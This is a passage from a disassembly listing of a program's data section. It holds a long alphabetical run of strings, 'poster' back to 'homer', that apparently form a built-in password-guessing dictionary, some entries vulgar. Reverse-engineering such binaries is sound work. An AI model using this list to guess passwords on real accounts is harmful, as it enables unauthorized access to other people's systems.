'poster',0 ; DATA XREF: .data:0042FD8Co align 4 aPost db 'post',0 ; DATA XREF: .data:0042FD88o align 10h aPorsche db 'porsche',0 ; DATA XREF: .data:0042FD84o aPorno db 'porno',0 ; DATA XREF: .data:0042FD80o align 10h aPorn db 'porn',0 ; DATA XREF: .data:0042FD7Co align 4 aPork db 'pork',0 ; DATA XREF: .data:0042FD78o align 10h aPoor db 'poor',0 ; DATA XREF: .data:0042FD74o align 4 aPoop db 'poop',0 ; DATA XREF: .data:0042FD70o align 10h aPonderin db 'ponderin',0 ; DATA XREF: .data:0042FD6Co align 4 aPolynomi db 'polynomi',0 ; DATA XREF: .data:0042FD68o align 4 aPolly db 'polly',0 ; DATA XREF: .data:0042FD64o align 10h aPolice db 'police',0 ; DATA XREF: .data:0042FD60o align 4 aPoetry db 'poetry',0 ; DATA XREF: .data:0042FD5Co align 10h aPlymouth db 'plymouth',0 ; DATA XREF: .data:0042FD58o align 4 aPluto db 'pluto',0 ; DATA XREF: .data:0042FD54o align 4 aPlover db 'plover',0 ; DATA XREF: .data:0042FD50o align 4 aPlayboy db 'playboy',0 ; DATA XREF: .data:0042FD4Co aPlane db 'plane',0 ; DATA XREF: .data:0042FD48o align 4 aPizza db 'pizza',0 ; DATA XREF: .data:0042FD44o align 4 aPiss db 'piss',0 ; DATA XREF: .data:0042FD40o align 4 aPinname db 'pinname',0 ; DATA XREF: .data:0042FD3Co aPimp db 'pimp',0 ; DATA XREF: .data:0042FD38o align 4 aPierre db 'pierre',0 ; DATA XREF: .data:0042FD34o align 4 aPick db 'pick',0 ; DATA XREF: .data:0042FD30o align 4 aPhuck db 'phuck',0 ; DATA XREF: .data:0042FD2Co align 4 aPhreak db 'phreak',0 ; DATA XREF: .data:0042FD28o align 4 aPhrase db 'phrase',0 ; DATA XREF: .data:0042FD24o align 4 aPhrack db 'phrack',0 ; DATA XREF: .data:0042FD20o align 4 aPhoton db 'photon',0 ; DATA XREF: .data:0042FD1Co align 4 aPhone db 'phone',0 ; DATA XREF: .data:0042FD18o align 4 aPhoenix db 'phoenix',0 ; DATA XREF: .data:0042FD14o aPhilip db 'philip',0 ; DATA XREF: .data:0042FD10o align 4 aPhil db 'phil',0 ; DATA XREF: .data:0042FD0Co align 4 aPeter db 'peter',0 ; DATA XREF: .data:0042FD08o align 4 aPete db 'pete',0 ; DATA XREF: .data:0042FD04o align 4 aPervert db 'pervert',0 ; DATA XREF: .data:0042FD00o aPersona db 'persona',0 ; DATA XREF: .data:0042FCFCo aPersimmo db 'persimmo',0 ; DATA XREF: .data:0042FCF8o align 10h aPermit db 'permit',0 ; DATA XREF: .data:0042FCF4o align 4 aPerfect db 'perfect',0 ; DATA XREF: .data:0042FCF0o aPercolat db 'percolat',0 ; DATA XREF: .data:0042FCECo align 4 aPepper db 'pepper',0 ; DATA XREF: .data:0042FCE8o align 4 aPeoria db 'peoria',0 ; DATA XREF: .data:0042FCE4o align 4 aPentium db 'pentium',0 ; DATA XREF: .data:0042FCE0o aPenthous db 'penthous',0 ; DATA XREF: .data:0042FCDCo align 10h aPentagra db 'pentagra',0 ; DATA XREF: .data:0042FCD8o align 4 aPentagon db 'pentagon',0 ; DATA XREF: .data:0042FCD4o align 4 aPenname db 'penname',0 ; DATA XREF: .data:0042FCD0o aPenis db 'penis',0 ; DATA XREF: .data:0042FCCCo align 4 aPenguin db 'penguin',0 ; DATA XREF: .data:0042FCC8o aPenelope db 'penelope',0 ; DATA XREF: .data:0042FCC4o align 4 aPencil db 'pencil',0 ; DATA XREF: .data:0042FCC0o align 4 aPecker db 'pecker',0 ; DATA XREF: .data:0042FCBCo align 4 aPeanuts db 'peanuts',0 ; DATA XREF: .data:0042FCB8o aPaula db 'paula',0 ; DATA XREF: .data:0042FCB4o align 4 aPatty db 'patty',0 ; DATA XREF: .data:0042FCB0o align 4 aPatriot db 'patriot',0 ; DATA XREF: .data:0042FCACo aPatricia db 'patricia',0 ; DATA XREF: .data:0042FCA8o align 4 aPaste db 'paste',0 ; DATA XREF: .data:0042FCA4o align 10h aPassphra db 'passphra',0 ; DATA XREF: .data:0042FCA0o align 4 aPascal db 'pascal',0 ; DATA XREF: .data:0042FC9Co align 4 aPapers db 'papers',0 ; DATA XREF: .data:0042FC98o align 4 aPaper db 'paper',0 ; DATA XREF: .data:0042FC94o align 4 aPapa db 'papa',0 ; DATA XREF: .data:0042FC90o align 4 aPamela db 'pamela',0 ; DATA XREF: .data:0042FC8Co align 4 aPakistan db 'pakistan',0 ; DATA XREF: .data:0042FC88o align 10h aPaint db 'paint',0 ; DATA XREF: .data:0042FC84o align 4 aPainless db 'painless',0 ; DATA XREF: .data:0042FC80o align 4 aPacker db 'packer',0 ; DATA XREF: .data:0042FC7Co align 4 aPackard db 'packard',0 ; DATA XREF: .data:0042FC78o aPacific db 'pacific',0 ; DATA XREF: .data:0042FC74o aOxford db 'oxford',0 ; DATA XREF: .data:0042FC70o align 4 aOutside db 'outside',0 ; DATA XREF: .data:0042FC6Co aOutput db 'output',0 ; DATA XREF: .data:0042FC68o align 4 aOutlaw db 'outlaw',0 ; DATA XREF: .data:0042FC64o align 4 aOutdoors db 'outdoors',0 ; DATA XREF: .data:0042FC60o align 4 aOsiris db 'osiris',0 ; DATA XREF: .data:0042FC5Co align 10h aOscar db 'oscar',0 ; DATA XREF: .data:0042FC58o align 4 aOrwell db 'orwell',0 ; DATA XREF: .data:0042FC54o align 10h aOrient db 'orient',0 ; DATA XREF: .data:0042FC50o align 4 aOrca db 'orca',0 ; DATA XREF: .data:0042FC4Co align 10h aOperator db 'operator',0 ; DATA XREF: .data:0042FC48o align 4 aOpensesa db 'opensesa',0 ; DATA XREF: .data:0042FC44o align 4 aOpenlock db 'openlock',0 ; DATA XREF: .data:0042FC40o align 4 aOpening db 'opening',0 ; DATA XREF: .data:0042FC3Co aOmega db 'omega',0 ; DATA XREF: .data:0042FC34o align 4 aOlivia db 'olivia',0 ; DATA XREF: .data:0042FC30o align 4 aOlivetti db 'olivetti',0 ; DATA XREF: .data:0042FC2Co align 4 aOldage db 'oldage',0 ; DATA XREF: .data:0042FC28o align 10h aOkay db 'okay',0 ; DATA XREF: .data:0042FC24o align 4 aOffice db 'office',0 ; DATA XREF: .data:0042FC20o align 10h aOcelot db 'ocelot',0 ; DATA XREF: .data:0042FC1Co align 4 aOceanogr db 'oceanogr',0 ; DATA XREF: .data:0042FC18o align 4 aObscurit db 'obscurit',0 ; DATA XREF: .data:0042FC14o align 10h aNyquist db 'nyquist',0 ; DATA XREF: .data:0042FC10o aNuts db 'nuts',0 ; DATA XREF: .data:0042FC0Co align 10h aNutritio db 'nutritio',0 ; DATA XREF: .data:0042FC08o align 4 aNumber db 'number',0 ; DATA XREF: .data:0042FC04o align 4 aNull_1 db 'null',0 ; DATA XREF: .data:0042FC00o align 4 aNukem db 'nukem',0 ; DATA XREF: .data:0042FBFCo align 4 aNuke db 'nuke',0 ; DATA XREF: .data:0042FBF8o align 4 aNude db 'nude',0 ; DATA XREF: .data:0042FBF4o align 4 aNuclear db 'nuclear',0 ; DATA XREF: .data:0042FBF0o aNoxious db 'noxious',0 ; DATA XREF: .data:0042FBECo aNovember db 'november',0 ; DATA XREF: .data:0042FBE8o align 10h aNovel db 'novel',0 ; DATA XREF: .data:0042FBE4o align 4 aNova db 'nova',0 ; DATA XREF: .data:0042FBE0o align 10h aNoth db 'noth',0 ; DATA XREF: .data:0042FBDCo align 4 aNotes db 'notes',0 ; DATA XREF: .data:0042FBD8o align 10h aNoreen db 'noreen',0 ; DATA XREF: .data:0042FBD4o align 4 aNode db 'node',0 ; DATA XREF: .data:0042FBD0o align 10h aNobody db 'nobody',0 ; DATA XREF: .data:0042FBCCo align 4 aNoble db 'noble',0 ; DATA XREF: .data:0042FBC8o align 10h aNnaacp db 'nnaacp',0 ; DATA XREF: .data:0042FBC4o align 4 aNita db 'nita',0 ; DATA XREF: .data:0042FBC0o align 10h aNintendo db 'nintendo',0 ; DATA XREF: .data:0042FBBCo align 4 aNightmar db 'nightmar',0 ; DATA XREF: .data:0042FBB8o align 4 aNight db 'night',0 ; DATA XREF: .data:0042FBB4o align 10h aNicotine db 'nicotine',0 ; DATA XREF: .data:0042FBB0o align 4 aNicole db 'nicole',0 ; DATA XREF: .data:0042FBACo align 4 aNice db 'nice',0 ; DATA XREF: .data:0042FBA8o align 4 aNext db 'next',0 ; DATA XREF: .data:0042FBA4o align 4 aNewyork db 'newyork',0 ; DATA XREF: .data:0042FBA0o aNewton db 'newton',0 ; DATA XREF: .data:0042FB9Co align 4 aNewsgrou db 'newsgrou',0 ; DATA XREF: .data:0042FB98o align 10h aNews db 'news',0 ; DATA XREF: .data:0042FB94o align 4 aNewborn db 'newborn',0 ; DATA XREF: .data:0042FB90o aNetwork_0 db 'network',0 ; DATA XREF: .data:0042FB8Co aNetscape db 'netscape',0 ; DATA XREF: .data:0042FB88o align 4 aNess db 'ness',0 ; DATA XREF: .data:0042FB84o align 4 aNeptune db 'neptune',0 ; DATA XREF: .data:0042FB80o aNepenthe db 'nepenthe',0 ; DATA XREF: .data:0042FB7Co align 10h aNavy db 'navy',0 ; DATA XREF: .data:0042FB78o align 4 aNasa db 'nasa',0 ; DATA XREF: .data:0042FB74o align 10h aNapoleon db 'napoleon',0 ; DATA XREF: .data:0042FB70o align 4 aNancy db 'nancy',0 ; DATA XREF: .data:0042FB6Co align 4 aName db 'name',0 ; DATA XREF: .data:0042FB68o align 4 aNagel db 'nagel',0 ; DATA XREF: .data:0042FB64o align 4 aMutant db 'mutant',0 ; DATA XREF: .data:0042FB60o align 4 aMuppets db 'muppets',0 ; DATA XREF: .data:0042FB5Co aMsdos db 'msdos',0 ; DATA XREF: .data:0042FB58o align 4 aMpeg db 'mpeg',0 ; DATA XREF: .data:0042FB54o align 4 aMozart db 'mozart',0 ; DATA XREF: .data:0042FB50o align 4 aMovies db 'movies',0 ; DATA XREF: .data:0042FB4Co align 4 aMovie db 'movie',0 ; DATA XREF: .data:0042FB48o align 4 aMove db 'move',0 ; DATA XREF: .data:0042FB44o align 4 aMouse db 'mouse',0 ; DATA XREF: .data:0042FB40o align 4 aMountain db 'mountain',0 ; DATA XREF: .data:0042FB3Co align 4 aMosaic db 'mosaic',0 ; DATA XREF: .data:0042FB38o align 10h aMortgage db 'mortgage',0 ; DATA XREF: .data:0042FB34o align 4 aMortalco db 'mortalco',0 ; DATA XREF: .data:0042FB30o align 4 aMortal db 'mortal',0 ; DATA XREF: .data:0042FB2Co align 10h aMorris db 'morris',0 ; DATA XREF: .data:0042FB28o align 4 aMorley db 'morley',0 ; DATA XREF: .data:0042FB24o align 10h aMore db 'more',0 ; DATA XREF: .data:0042FB20o align 4 aMoose db 'moose',0 ; DATA XREF: .data:0042FB1Co align 10h aMoor db 'moor',0 ; DATA XREF: .data:0042FB18o align 4 aMoom db 'moom',0 ; DATA XREF: .data:0042FB14o align 10h aMonica db 'monica',0 ; DATA XREF: .data:0042FB10o align 4 aMonday db 'monday',0 ; DATA XREF: .data:0042FB0Co align 10h aMoguls db 'moguls',0 ; DATA XREF: .data:0042FB08o align 4 aMogul db 'mogul',0 ; DATA XREF: .data:0042FB04o align 10h aModem db 'modem',0 ; DATA XREF: .data:0042FB00o align 4 aMode db 'mode',0 ; DATA XREF: .data:0042FAFCo align 10h aMkii db 'mkii',0 ; DATA XREF: .data:0042FAF8o align 4 aMission db 'mission',0 ; DATA XREF: .data:0042FAF4o aMisfit db 'misfit',0 ; DATA XREF: .data:0042FAF0o align 4 aMinsky db 'minsky',0 ; DATA XREF: .data:0042FAECo align 10h aMinimum db 'minimum',0 ; DATA XREF: .data:0042FAE8o aMine db 'mine',0 ; DATA XREF: .data:0042FAE4o align 10h aMike db 'mike',0 ; DATA XREF: .data:0042FAE0o align 4 aMidieval db 'midieval',0 ; DATA XREF: .data:0042FADCo align 4 aMicrosof db 'microsof',0 ; DATA XREF: .data:0042FAD8o align 10h aMicropro db 'micropro',0 ; DATA XREF: .data:0042FAD4o align 4 aMicrochi db 'microchi',0 ; DATA XREF: .data:0042FAD0o align 4 aMicro db 'micro',0 ; DATA XREF: .data:0042FACCo align 10h aMickey db 'mickey',0 ; DATA XREF: .data:0042FAC8o align 4 aMichelle db 'michelle',0 ; DATA XREF: .data:0042FAC4o align 4 aMichele db 'michele',0 ; DATA XREF: .data:0042FAC0o aMichelan db 'michelan',0 ; DATA XREF: .data:0042FABCo align 4 aMichel db 'michel',0 ; DATA XREF: .data:0042FAB8o align 10h aMichael db 'michael',0 ; DATA XREF: .data:0042FAB4o aMice db 'mice',0 ; DATA XREF: .data:0042FAB0o align 10h aMets db 'mets',0 ; DATA XREF: .data:0042FAACo align 4 aMetalica db 'metalica',0 ; DATA XREF: .data:0042FAA8o align 4 aMetalhea db 'metalhea',0 ; DATA XREF: .data:0042FAA4o align 10h aMetal db 'metal',0 ; DATA XREF: .data:0042FAA0o align 4 aMerlin db 'merlin',0 ; DATA XREF: .data:0042FA9Co align 10h aMercury db 'mercury',0 ; DATA XREF: .data:0042FA98o aMenu db 'menu',0 ; DATA XREF: .data:0042FA94o align 10h aMenace db 'menace',0 ; DATA XREF: .data:0042FA90o align 4 aMemory db 'memory',0 ; DATA XREF: .data:0042FA8Co align 10h aMember db 'member',0 ; DATA XREF: .data:0042FA88o align 4 aMelrose db 'melrose',0 ; DATA XREF: .data:0042FA84o aMellon db 'mellon',0 ; DATA XREF: .data:0042FA80o align 4 aMelissa db 'melissa',0 ; DATA XREF: .data:0042FA7Co aMegan db 'megan',0 ; DATA XREF: .data:0042FA78o align 4 aMegadeth db 'megadeth',0 ; DATA XREF: .data:0042FA74o align 4 aMegabyte db 'megabyte',0 ; DATA XREF: .data:0042FA70o align 10h aMeagan db 'meagan',0 ; DATA XREF: .data:0042FA6Co align 4 aMaurice db 'maurice',0 ; DATA XREF: .data:0042FA68o aMath db 'math',0 ; DATA XREF: .data:0042FA64o align 4 aMaster db 'master',0 ; DATA XREF: .data:0042FA60o align 10h aMason db 'mason',0 ; DATA XREF: .data:0042FA5Co align 4 aMary db 'mary',0 ; DATA XREF: .data:0042FA58o align 10h aMarvin db 'marvin',0 ; DATA XREF: .data:0042FA54o align 4 aMarty db 'marty',0 ; DATA XREF: .data:0042FA50o align 10h aMars db 'mars',0 ; DATA XREF: .data:0042FA4Co align 4 aMarriage db 'marriage',0 ; DATA XREF: .data:0042FA48o align 4 aMarni db 'marni',0 ; DATA XREF: .data:0042FA44o align 4 aMarkus db 'markus',0 ; DATA XREF: .data:0042FA40o align 4 aMark db 'mark',0 ; DATA XREF: .data:0042FA3Co align 4 aMarines db 'marines',0 ; DATA XREF: .data:0042FA38o aMarijuan db 'marijuan',0 ; DATA XREF: .data:0042FA34o align 10h aMarietta db 'marietta',0 ; DATA XREF: .data:0042FA30o align 4 aMariens db 'mariens',0 ; DATA XREF: .data:0042FA2Co aMaria db 'maria',0 ; DATA XREF: .data:0042FA28o align 4 aMarcy db 'marcy',0 ; DATA XREF: .data:0042FA24o align 4 aMarci db 'marci',0 ; DATA XREF: .data:0042FA20o align 4 aMara db 'mara',0 ; DATA XREF: .data:0042FA1Co align 4 aManager db 'manager',0 ; DATA XREF: .data:0042FA18o aMana db 'mana',0 ; DATA XREF: .data:0042FA14o align 4 aMalcom db 'malcom',0 ; DATA XREF: .data:0042FA10o align 4 aMalcolm db 'malcolm',0 ; DATA XREF: .data:0042FA0Co aMaint db 'maint',0 ; DATA XREF: .data:0042FA08o align 4 aMail db 'mail',0 ; DATA XREF: .data:0042FA04o align 4 aMagnet db 'magnet',0 ; DATA XREF: .data:0042FA00o align 4 aMagic db 'magic',0 ; DATA XREF: .data:0042F9FCo align 4 aMaggot db 'maggot',0 ; DATA XREF: .data:0042F9F8o align 4 aMacro db 'macro',0 ; DATA XREF: .data:0042F9F4o align 4 aMack db 'mack',0 ; DATA XREF: .data:0042F9F0o align 4 aMacintos db 'macintos',0 ; DATA XREF: .data:0042F9ECo align 4 aMachine db 'machine',0 ; DATA XREF: .data:0042F9E8o aLynne db 'lynne',0 ; DATA XREF: .data:0042F9E4o align 4 aLynn db 'lynn',0 ; DATA XREF: .data:0042F9E0o align 10h aLust db 'lust',0 ; DATA XREF: .data:0042F9DCo align 4 aLuke db 'luke',0 ; DATA XREF: .data:0042F9D8o align 10h aLude db 'lude',0 ; DATA XREF: .data:0042F9D4o align 4 aLucy db 'lucy',0 ; DATA XREF: .data:0042F9D0o align 10h aLucus db 'lucus',0 ; DATA XREF: .data:0042F9CCo align 4 aLuck db 'luck',0 ; DATA XREF: .data:0042F9C8o align 10h aLover db 'lover',0 ; DATA XREF: .data:0042F9C4o align 4 aLovebug db 'lovebug',0 ; DATA XREF: .data:0042F9C0o aLouis db 'louis',0 ; DATA XREF: .data:0042F9BCo align 4 aLoser db 'loser',0 ; DATA XREF: .data:0042F9B8o align 10h aLorraine db 'lorraine',0 ; DATA XREF: .data:0042F9B4o align 4 aLorin db 'lorin',0 ; DATA XREF: .data:0042F9B0o align 4 aLori db 'lori',0 ; DATA XREF: .data:0042F9ACo align 4 aLore db 'lore',0 ; DATA XREF: .data:0042F9A8o align 4 aLoose db 'loose',0 ; DATA XREF: .data:0042F9A4o align 4 aLolopc db 'lolopc',0 ; DATA XREF: .data:0042F9A0o align 4 aLois db 'lois',0 ; DATA XREF: .data:0042F99Co align 4 aLogout db 'logout',0 ; DATA XREF: .data:0042F998o align 4 aLoginwor db 'loginwor',0 ; DATA XREF: .data:0042F994o align 10h aLogic db 'logic',0 ; DATA XREF: .data:0042F990o align 4 aLockword db 'lockword',0 ; DATA XREF: .data:0042F98Co align 4 aLockout db 'lockout',0 ; DATA XREF: .data:0042F988o aLock db 'lock',0 ; DATA XREF: .data:0042F984o align 4 aLoad db 'load',0 ; DATA XREF: .data:0042F980o align 4 aLive db 'live',0 ; DATA XREF: .data:0042F97Co align 4 aLiteratu db 'literatu',0 ; DATA XREF: .data:0042F978o align 10h aLisp db 'lisp',0 ; DATA XREF: .data:0042F974o align 4 aLisa db 'lisa',0 ; DATA XREF: .data:0042F970o align 10h aLips db 'lips',0 ; DATA XREF: .data:0042F96Co align 4 aLion db 'lion',0 ; DATA XREF: .data:0042F968o align 10h aLink db 'link',0 ; DATA XREF: .data:0042F964o align 4 aLinda db 'linda',0 ; DATA XREF: .data:0042F960o align 10h aLimited db 'limited',0 ; DATA XREF: .data:0042F95Co aLimbaugh db 'limbaugh',0 ; DATA XREF: .data:0042F958o align 4 aLima db 'lima',0 ; DATA XREF: .data:0042F954o align 4 aLightsab db 'lightsab',0 ; DATA XREF: .data:0042F950o align 4 aLight db 'light',0 ; DATA XREF: .data:0042F94Co align 10h aLife db 'life',0 ; DATA XREF: .data:0042F948o align 4 aLicker db 'licker',0 ; DATA XREF: .data:0042F944o align 10h aLick db 'lick',0 ; DATA XREF: .data:0042F940o align 4 aLibrary db 'library',0 ; DATA XREF: .data:0042F93Co aLiberal db 'liberal',0 ; DATA XREF: .data:0042F938o aLexluthe db 'lexluthe',0 ; DATA XREF: .data:0042F934o align 4 aLewis db 'lewis',0 ; DATA XREF: .data:0042F930o align 4 aLetmein db 'letmein',0 ; DATA XREF: .data:0042F92Co aLeslie db 'leslie',0 ; DATA XREF: .data:0042F928o align 4 aLesbian db 'lesbian',0 ; DATA XREF: .data:0042F924o aLeroy db 'leroy',0 ; DATA XREF: .data:0042F920o align 4 aLeland db 'leland',0 ; DATA XREF: .data:0042F91Co align 4 aLegal db 'legal',0 ; DATA XREF: .data:0042F918o align 4 aLeftwing db 'leftwing',0 ; DATA XREF: .data:0042F914o align 4 aLeft db 'left',0 ; DATA XREF: .data:0042F910o align 10h aLebesgue db 'lebesgue',0 ; DATA XREF: .data:0042F90Co align 4 aLeah db 'leah',0 ; DATA XREF: .data:0042F908o align 4 aLazer db 'lazer',0 ; DATA XREF: .data:0042F904o align 4 aLazarus db 'lazarus',0 ; DATA XREF: .data:0042F900o aLava db 'lava',0 ; DATA XREF: .data:0042F8FCo align 4 aLaura db 'laura',0 ; DATA XREF: .data:0042F8F8o align 4 aLaser db 'laser',0 ; DATA XREF: .data:0042F8F4o align 4 aLarry db 'larry',0 ; DATA XREF: .data:0042F8F0o align 4 aLarkin db 'larkin',0 ; DATA XREF: .data:0042F8ECo align 4 aLara db 'lara',0 ; DATA XREF: .data:0042F8E8o align 4 aLaptop db 'laptop',0 ; DATA XREF: .data:0042F8E4o align 4 aLana db 'lana',0 ; DATA XREF: .data:0042F8E0o align 4 aLaminati db 'laminati',0 ; DATA XREF: .data:0042F8DCo align 10h aLambda db 'lambda',0 ; DATA XREF: .data:0042F8D8o align 4 aLakers db 'lakers',0 ; DATA XREF: .data:0042F8D4o align 10h aLadle db 'ladle',0 ; DATA XREF: .data:0042F8D0o align 4 aLadies db 'ladies',0 ; DATA XREF: .data:0042F8CCo align 10h aKristy db 'kristy',0 ; DATA XREF: .data:0042F8C8o align 4 aKristine db 'kristine',0 ; DATA XREF: .data:0042F8C4o align 4 aKristin db 'kristin',0 ; DATA XREF: .data:0042F8C0o aKristie db 'kristie',0 ; DATA XREF: .data:0042F8BCo aKristi db 'kristi',0 ; DATA XREF: .data:0042F8B8o align 4 aKristen db 'kristen',0 ; DATA XREF: .data:0042F8B4o aKrista db 'krista',0 ; DATA XREF: .data:0042F8B0o align 4 aKnown db 'known',0 ; DATA XREF: .data:0042F8ACo align 4 aKnightma db 'knightma',0 ; DATA XREF: .data:0042F8A8o align 10h aKnight db 'knight',0 ; DATA XREF: .data:0042F8A4o align 4 aKnife db 'knife',0 ; DATA XREF: .data:0042F8A0o align 10h aKlingon db 'klingon',0 ; DATA XREF: .data:0042F89Co aKitten db 'kitten',0 ; DATA XREF: .data:0042F898o align 10h aKissmyas db 'kissmyas',0 ; DATA XREF: .data:0042F894o align 4 aKiss db 'kiss',0 ; DATA XREF: .data:0042F890o align 4 aKirkland db 'kirkland',0 ; DATA XREF: .data:0042F88Co align 10h aKirk db 'kirk',0 ; DATA XREF: .data:0042F888o align 4 aKing db 'king',0 ; DATA XREF: .data:0042F884o align 10h aKimberly db 'kimberly',0 ; DATA XREF: .data:0042F880o align 4 aKilo db 'kilo',0 ; DATA XREF: .data:0042F87Co align 4 aKillthem db 'killthem',0 ; DATA XREF: .data:0042F878o align 10h aKill db 'kill',0 ; DATA XREF: .data:0042F874o align 4 aKids db 'kids',0 ; DATA XREF: .data:0042F870o align 10h aKeyword db 'keyword',0 ; DATA XREF: .data:0042F86Co aKeyin db 'keyin',0 ; DATA XREF: .data:0042F868o align 10h aKeybord db 'keybord',0 ; DATA XREF: .data:0042F864o aKewl db 'kewl',0 ; DATA XREF: .data:0042F860o align 10h aKevin db 'kevin',0 ; DATA XREF: .data:0042F85Co align 4 aKerry db 'kerry',0 ; DATA XREF: .data:0042F858o align 10h aKerrie db 'kerrie',0 ; DATA XREF: .data:0042F854o align 4 aKerri db 'kerri',0 ; DATA XREF: .data:0042F850o align 10h aKernel db 'kernel',0 ; DATA XREF: .data:0042F84Co align 4 aKermit db 'kermit',0 ; DATA XREF: .data:0042F848o align 10h aKeri db 'keri',0 ; DATA XREF: .data:0042F844o align 4 aKelly db 'kelly',0 ; DATA XREF: .data:0042F840o align 10h aKatrina db 'katrina',0 ; DATA XREF: .data:0042F83Co aKatina db 'katina',0 ; DATA XREF: .data:0042F838o align 10h aKathy db 'kathy',0 ; DATA XREF: .data:0042F834o align 4 aKathrine db 'kathrine',0 ; DATA XREF: .data:0042F830o align 4 aKathleen db 'kathleen',0 ; DATA XREF: .data:0042F82Co align 10h aKate db 'kate',0 ; DATA XREF: .data:0042F828o align 4 aKatana db 'katana',0 ; DATA XREF: .data:0042F824o align 10h aKarina db 'karina',0 ; DATA XREF: .data:0042F820o align 4 aKarie db 'karie',0 ; DATA XREF: .data:0042F81Co align 10h aKaren db 'karen',0 ; DATA XREF: .data:0042F818o align 4 aKaka db 'kaka',0 ; DATA XREF: .data:0042F814o align 10h aJupiter db 'jupiter',0 ; DATA XREF: .data:0042F810o aJune db 'june',0 ; DATA XREF: .data:0042F80Co align 10h aJuliet db 'juliet',0 ; DATA XREF: .data:0042F808o align 4 aJulie db 'julie',0 ; DATA XREF: .data:0042F804o align 10h aJulia db 'julia',0 ; DATA XREF: .data:0042F800o align 4 aJuicy db 'juicy',0 ; DATA XREF: .data:0042F7FCo align 10h aJuggle db 'juggle',0 ; DATA XREF: .data:0042F7F8o align 4 aJudy db 'judy',0 ; DATA XREF: .data:0042F7F4o align 10h aJudith db 'judith',0 ; DATA XREF: .data:0042F7F0o align 4 aJoyce db 'joyce',0 ; DATA XREF: .data:0042F7ECo align 10h aJournal db 'journal',0 ; DATA XREF: .data:0042F7E8o aJoshua db 'joshua',0 ; DATA XREF: .data:0042F7E4o align 10h aJoseph db 'joseph',0 ; DATA XREF: .data:0042F7E0o align 4 aJohnny db 'johnny',0 ; DATA XREF: .data:0042F7DCo align 10h aJohndoe db 'johndoe',0 ; DATA XREF: .data:0042F7D8o aJohn db 'john',0 ; DATA XREF: .data:0042F7D4o align 10h aJody db 'jody',0 ; DATA XREF: .data:0042F7D0o align 4 aJoanne db 'joanne',0 ; DATA XREF: .data:0042F7CCo align 10h aJixian db 'jixian',0 ; DATA XREF: .data:0042F7C8o align 4 aJill db 'jill',0 ; DATA XREF: .data:0042F7C4o align 10h aJewelry db 'jewelry',0 ; DATA XREF: .data:0042F7C0o aJester db 'jester',0 ; DATA XREF: .data:0042F7BCo align 10h aJessica db 'jessica',0 ; DATA XREF: .data:0042F7B8o aJerusale db 'jerusale',0 ; DATA XREF: .data:0042F7B4o align 4 aJerry db 'jerry',0 ; DATA XREF: .data:0042F7B0o align 4 aJenny db 'jenny',0 ; DATA XREF: .data:0042F7ACo align 4 aJennifer db 'jennifer',0 ; DATA XREF: .data:0042F7A8o align 10h aJenni db 'jenni',0 ; DATA XREF: .data:0042F7A4o align 4 aJeff db 'jeff',0 ; DATA XREF: .data:0042F7A0o align 10h aJeanne db 'jeanne',0 ; DATA XREF: .data:0042F79Co align 4 aJean db 'jean',0 ; DATA XREF: .data:0042F798o align 10h aJazz db 'jazz',0 ; DATA XREF: .data:0042F794o align 4 aJava db 'java',0 ; DATA XREF: .data:0042F790o align 10h aJasmin db 'jasmin',0 ; DATA XREF: .data:0042F78Co align 4 aJapan db 'japan',0 ; DATA XREF: .data:0042F788o align 10h aJanie db 'janie',0 ; DATA XREF: .data:0042F784o align 4 aJanice db 'janice',0 ; DATA XREF: .data:0042F780o align 10h aJanet db 'janet',0 ; DATA XREF: .data:0042F77Co align 4 aJane db 'jane',0 ; DATA XREF: .data:0042F778o align 10h aJail db 'jail',0 ; DATA XREF: .data:0042F774o align 4 aJackie db 'jackie',0 ; DATA XREF: .data:0042F770o align 10h aIsis db 'isis',0 ; DATA XREF: .data:0042F76Co align 4 aIrishman db 'irishman',0 ; DATA XREF: .data:0042F768o align 4 aIrene db 'irene',0 ; DATA XREF: .data:0042F764o align 4 aInvent db 'invent',0 ; DATA XREF: .data:0042F760o align 4 aInteger db 'integer',0 ; DATA XREF: .data:0042F75Co aInside db 'inside',0 ; DATA XREF: .data:0042F758o align 4 aInput db 'input',0 ; DATA XREF: .data:0042F754o align 4 aInnocuou db 'innocuou',0 ; DATA XREF: .data:0042F750o align 4 aInna db 'inna',0 ; DATA XREF: .data:0042F74Co align 10h aIngrid db 'ingrid',0 ; DATA XREF: .data:0042F748o align 4 aIngress db 'ingress',0 ; DATA XREF: .data:0042F744o aIngres db 'ingres',0 ; DATA XREF: .data:0042F740o align 4 aIndians db 'indians',0 ; DATA XREF: .data:0042F73Co aIndiana db 'indiana',0 ; DATA XREF: .data:0042F738o aIndian db 'indian',0 ; DATA XREF: .data:0042F734o align 10h aIndia db 'india',0 ; DATA XREF: .data:0042F730o align 4 aInclude db 'include',0 ; DATA XREF: .data:0042F72Co aImperial db 'imperial',0 ; DATA XREF: .data:0042F728o align 4 aImmortal db 'immortal',0 ; DATA XREF: .data:0042F724o align 4 aImbrogli db 'imbrogli',0 ; DATA XREF: .data:0042F720o align 4 aImage db 'image',0 ; DATA XREF: .data:0042F71Co align 4 aIllumina db 'illumina',0 ; DATA XREF: .data:0042F718o align 4 aIcecream db 'icecream',0 ; DATA XREF: .data:0042F714o align 4 aHypertxt db 'hypertxt',0 ; DATA XREF: .data:0042F710o align 10h aHyper db 'hyper',0 ; DATA XREF: .data:0042F70Co align 4 aHydrogen db 'hydrogen',0 ; DATA XREF: .data:0042F708o align 4 aHutchins db 'hutchins',0 ; DATA XREF: .data:0042F704o align 10h aHunter db 'hunter',0 ; DATA XREF: .data:0042F700o align 4 aHunt db 'hunt',0 ; DATA XREF: .data:0042F6FCo align 10h aHttp_0 db 'http',0 ; DATA XREF: .data:0042F6F8o align 4 aHotel db 'hotel',0 ; DATA XREF: .data:0042F6F4o align 10h aHotdog db 'hotdog',0 ; DATA XREF: .data:0042F6F0o align 4 aHost db 'host',0 ; DATA XREF: .data:0042F6ECo align 10h aHorus db 'horus',0 ; DATA XREF: .data:0042F6E8o align 4 aHorse db 'horse',0 ; DATA XREF: .data:0042F6E4o align 10h aHorror db 'horror',0 ; DATA XREF: .data:0042F6E0o align 4 aHorrible db 'horrible',0 ; DATA XREF: .data:0042F6DCo align 4 aHorny db 'horny',0 ; DATA XREF: .data:0042F6D8o align 4 aHooters db 'hooters',0 ; DATA XREF: .data:0042F6D4o aHooker db 'hooker',0 ; DATA XREF: .data:0042F6D0o align 4 aHoney db 'honey',0 ; DATA XREF: .data:0042F6CCo align 4 aHomework db 'homework',0 ; DATA XREF: .data:0042F6C8o align 10h aHomer db 'homer',0 ; DATA XREF: .data:0042F6C4o align 4 